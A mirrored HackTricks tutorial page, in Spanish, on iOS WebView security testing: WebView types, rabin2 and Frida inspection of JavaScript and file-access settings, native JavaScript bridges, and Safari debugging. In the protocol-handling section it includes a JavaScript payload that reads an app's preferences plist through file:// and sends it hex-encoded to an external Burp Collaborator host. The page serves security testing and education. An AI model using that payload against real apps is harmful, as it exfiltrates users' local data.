mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
293 lines
18 KiB
Markdown
293 lines
18 KiB
Markdown
# iOS WebViews
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
|
|
|
|
|
|
## Tipos de WebViews
|
|
|
|
Las WebViews se utilizan dentro de las aplicaciones para mostrar contenido web de manera interactiva. Varios tipos de WebViews ofrecen diferentes funcionalidades y características de seguridad para aplicaciones iOS. Aquí hay un breve resumen:
|
|
|
|
- **UIWebView**, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar **JavaScript**, lo que la hace susceptible a inyecciones de scripts y ataques de **Cross-Site Scripting (XSS)**.
|
|
|
|
- **WKWebView** es la opción preferida para incorporar contenido web en aplicaciones, ofreciendo un control mejorado sobre el contenido y características de seguridad. **JavaScript** está habilitado por defecto, pero se puede deshabilitar si es necesario. También admite características para evitar que JavaScript abra ventanas automáticamente y asegura que todo el contenido se cargue de manera segura. Además, la arquitectura de **WKWebView** minimiza el riesgo de corrupción de memoria que afecte al proceso principal de la aplicación.
|
|
|
|
- **SFSafariViewController** ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección de solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de **WKWebView**, **JavaScript** no se puede deshabilitar en **SFSafariViewController**, que también comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicación. Debe mostrarse de manera prominente de acuerdo con las pautas de la App Store.
|
|
```javascript
|
|
// Example of disabling JavaScript in WKWebView:
|
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
|
preferences.javaScriptEnabled = NO;
|
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|
config.preferences = preferences;
|
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
|
```
|
|
## Resumen de Exploración de Configuración de WebViews
|
|
|
|
### **Descripción General del Análisis Estático**
|
|
|
|
En el proceso de examinar las configuraciones de **WebViews**, se enfocan en dos tipos principales: **UIWebView** y **WKWebView**. Para identificar estos WebViews dentro de un binario, se utilizan comandos, buscando referencias de clase específicas y métodos de inicialización.
|
|
|
|
- **Identificación de UIWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
|
```
|
|
Este comando ayuda a localizar instancias de **UIWebView** buscando cadenas de texto relacionadas con él en el binario.
|
|
|
|
- **Identificación de WKWebView**
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
|
```
|
|
De manera similar, para **WKWebView**, este comando busca en el binario cadenas de texto indicativas de su uso.
|
|
|
|
Además, para encontrar cómo se inicializa un **WKWebView**, se ejecuta el siguiente comando, dirigido a la firma del método relacionada con su inicialización:
|
|
```bash
|
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
|
```
|
|
#### **Verificación de Configuración de JavaScript**
|
|
|
|
Para **WKWebView**, se destaca que deshabilitar JavaScript es una buena práctica a menos que sea necesario. Se busca en el binario compilado para confirmar que la propiedad `javaScriptEnabled` está configurada en `false`, asegurando que JavaScript esté deshabilitado:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
|
```
|
|
#### **Verificación de Solo Contenido Seguro**
|
|
|
|
**WKWebView** ofrece la capacidad de identificar problemas de contenido mixto, a diferencia de **UIWebView**. Esto se verifica utilizando la propiedad `hasOnlySecureContent` para asegurar que todos los recursos de la página se carguen a través de conexiones seguras. La búsqueda en el binario compilado se realiza de la siguiente manera:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
|
```
|
|
### **Perspectivas de Análisis Dinámico**
|
|
|
|
El análisis dinámico implica inspeccionar el heap en busca de instancias de WebView y sus propiedades. Se utiliza un script llamado `webviews_inspector.js` para este propósito, dirigido a instancias de `UIWebView`, `WKWebView` y `SFSafariViewController`. Registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.
|
|
|
|
La inspección del heap se puede realizar utilizando `ObjC.choose()` para identificar instancias de WebView y verificar las propiedades `javaScriptEnabled` y `hasonlysecurecontent`.
|
|
|
|
{% code title="webviews_inspector.js" %}
|
|
```javascript
|
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
|
onMatch: function (ui) {
|
|
console.log('onMatch: ', ui);
|
|
console.log('URL: ', ui.request().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for UIWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
|
onMatch: function (sf) {
|
|
console.log('onMatch: ', sf);
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for SFSafariViewController!');
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
|
}
|
|
});
|
|
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
}
|
|
});
|
|
```
|
|
{% endcode %}
|
|
|
|
El script se ejecuta con:
|
|
```bash
|
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
|
```
|
|
**Resultados Clave**:
|
|
- Se localizan e inspeccionan con éxito las instancias de WebViews.
|
|
- Se verifica la habilitación de JavaScript y la configuración de contenido seguro.
|
|
|
|
Este resumen encapsula los pasos y comandos críticos involucrados en el análisis de configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto.
|
|
|
|
## Manejo del Protocolo WebView
|
|
|
|
Manejar contenido en WebViews es un aspecto crítico, especialmente al tratar con varios protocolos como `http(s)://`, `file://` y `tel://`. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y en la edición del contenido mismo.
|
|
|
|
**WebViews** ofrecen diferentes métodos para la carga de contenido. Para **UIWebView**, ahora obsoleto, se utilizan métodos como `loadHTMLString:baseURL:` y `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, por otro lado, emplea `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` y `loadRequest:` para contenido web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` y `init(contentsOf:encoding:)` se utilizan típicamente para cargar archivos locales. El método `loadFileURL:allowingReadAccessToURL:` es particularmente notable por su capacidad para cargar una URL o directorio específico en el WebView, exponiendo potencialmente datos sensibles si se especifica un directorio.
|
|
|
|
Para encontrar estos métodos en el código fuente o binario compilado, se pueden usar comandos como los siguientes:
|
|
```bash
|
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
|
```
|
|
En cuanto al **acceso a archivos**, UIWebView lo permite de manera universal, mientras que WKWebView introduce configuraciones `allowFileAccessFromFileURLs` y `allowUniversalAccessFromFileURLs` para gestionar el acceso desde URL de archivos, siendo ambas falsas por defecto.
|
|
|
|
Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de **WKWebView** para ajustes de seguridad:
|
|
```bash
|
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
|
onMatch: function (wk) {
|
|
console.log('onMatch: ', wk);
|
|
console.log('URL: ', wk.URL().toString());
|
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
|
console.log('allowFileAccessFromFileURLs: ',
|
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|
console.log('allowUniversalAccessFromFileURLs: ',
|
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
|
},
|
|
onComplete: function () {
|
|
console.log('done for WKWebView!');
|
|
}
|
|
});
|
|
```
|
|
Por último, un ejemplo de una carga útil de JavaScript destinada a exfiltrar archivos locales demuestra el potencial riesgo de seguridad asociado con WebViews mal configurados. Esta carga útil codifica el contenido de los archivos en formato hex antes de transmitirlos a un servidor, destacando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.
|
|
```javascript
|
|
String.prototype.hexEncode = function(){
|
|
var hex, i;
|
|
var result = "";
|
|
for (i=0; i<this.length; i++) {
|
|
hex = this.charCodeAt(i).toString(16);
|
|
result += ("000"+hex).slice(-4);
|
|
}
|
|
return result
|
|
}
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.onreadystatechange = function() {
|
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
|
var xhr2 = new XMLHttpRequest();
|
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
|
xhr2.send(null);
|
|
}
|
|
}
|
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
|
xhr.send(null);
|
|
```
|
|
## Métodos Nativos Expuestos a Través de WebViews
|
|
|
|
## Comprendiendo las Interfaces Nativas de WebView en iOS
|
|
|
|
Desde iOS 7 en adelante, Apple proporcionó APIs para **la comunicación entre JavaScript en un WebView y objetos nativos** de Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos:
|
|
|
|
- **JSContext**: Una función de JavaScript se crea automáticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un `JSContext`. Esto permite una integración y comunicación sin problemas entre JavaScript y el código nativo.
|
|
- **JSExport Protocol**: Al heredar el protocolo `JSExport`, se pueden exponer propiedades nativas, métodos de instancia y métodos de clase a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que los datos sensibles no se expongan inadvertidamente a través de este método.
|
|
|
|
### Accediendo a `JSContext` en Objective-C
|
|
|
|
En Objective-C, el `JSContext` para un `UIWebView` se puede recuperar con la siguiente línea de código:
|
|
```objc
|
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
|
```
|
|
### Comunicación con `WKWebView`
|
|
|
|
Para `WKWebView`, el acceso directo a `JSContext` no está disponible. En su lugar, se utiliza el paso de mensajes a través de la función `postMessage`, lo que permite la comunicación de JavaScript a nativo. Los controladores para estos mensajes se configuran de la siguiente manera, lo que permite que JavaScript interactúe con la aplicación nativa de manera segura:
|
|
```swift
|
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
|
options_dict["javaScriptBridge"]?.value = enabled
|
|
let userContentController = wkWebViewConfiguration.userContentController
|
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
|
|
|
if enabled {
|
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
|
}
|
|
}
|
|
```
|
|
### Interacción y Pruebas
|
|
|
|
JavaScript puede interactuar con la capa nativa definiendo un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web:
|
|
```javascript
|
|
function invokeNativeOperation() {
|
|
value1 = document.getElementById("value1").value
|
|
value2 = document.getElementById("value2").value
|
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
|
}
|
|
|
|
// Alternative method for calling exposed JavaScript functions
|
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
|
```
|
|
Para capturar y manipular el resultado de una llamada a una función nativa, se puede anular la función de callback dentro del HTML:
|
|
```html
|
|
<html>
|
|
<script>
|
|
document.location = "javascriptbridge://getSecret"
|
|
function javascriptBridgeCallBack(name, result) {
|
|
alert(result);
|
|
}
|
|
</script>
|
|
</html>
|
|
```
|
|
El lado nativo maneja la llamada de JavaScript como se muestra en la clase `JavaScriptBridgeMessageHandler`, donde el resultado de operaciones como multiplicar números se procesa y se envía de vuelta a JavaScript para su visualización o manipulación adicional:
|
|
```swift
|
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
|
// Handling "multiplyNumbers" operation
|
|
case "multiplyNumbers":
|
|
let arg1 = Double(messageArray[1])!
|
|
let arg2 = Double(messageArray[2])!
|
|
result = String(arg1 * arg2)
|
|
// Callback to JavaScript
|
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|
}
|
|
```
|
|
## Depuración de WebViews en iOS
|
|
|
|
(Tutorial basado en el de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
|
|
|
Para depurar eficazmente el contenido web dentro de los webviews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollador de Safari, debido a que los mensajes enviados a `console.log()` no se muestran en los registros de Xcode. Aquí hay una guía simplificada, enfatizando los pasos y requisitos clave:
|
|
|
|
- **Preparación en el dispositivo iOS**: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a **Configuración > Safari > Avanzado**, y habilitando el _Inspector Web_.
|
|
|
|
- **Preparación en el dispositivo macOS**: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollador dentro de Safari. Inicia Safari, accede a **Safari > Preferencias > Avanzado**, y selecciona la opción para _Mostrar menú de Desarrollo_.
|
|
|
|
- **Conexión y depuración**: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, usa Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a _Desarrollar_ en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari para este propósito.
|
|
|
|
Sin embargo, ten en cuenta las limitaciones:
|
|
|
|
- La depuración con este método requiere un dispositivo macOS ya que se basa en Safari.
|
|
- Solo los webviews en aplicaciones cargadas en tu dispositivo a través de Xcode son elegibles para la depuración. Los webviews en aplicaciones instaladas a través de la App Store o Apple Configurator no pueden ser depurados de esta manera.
|
|
|
|
|
|
## Referencias
|
|
|
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|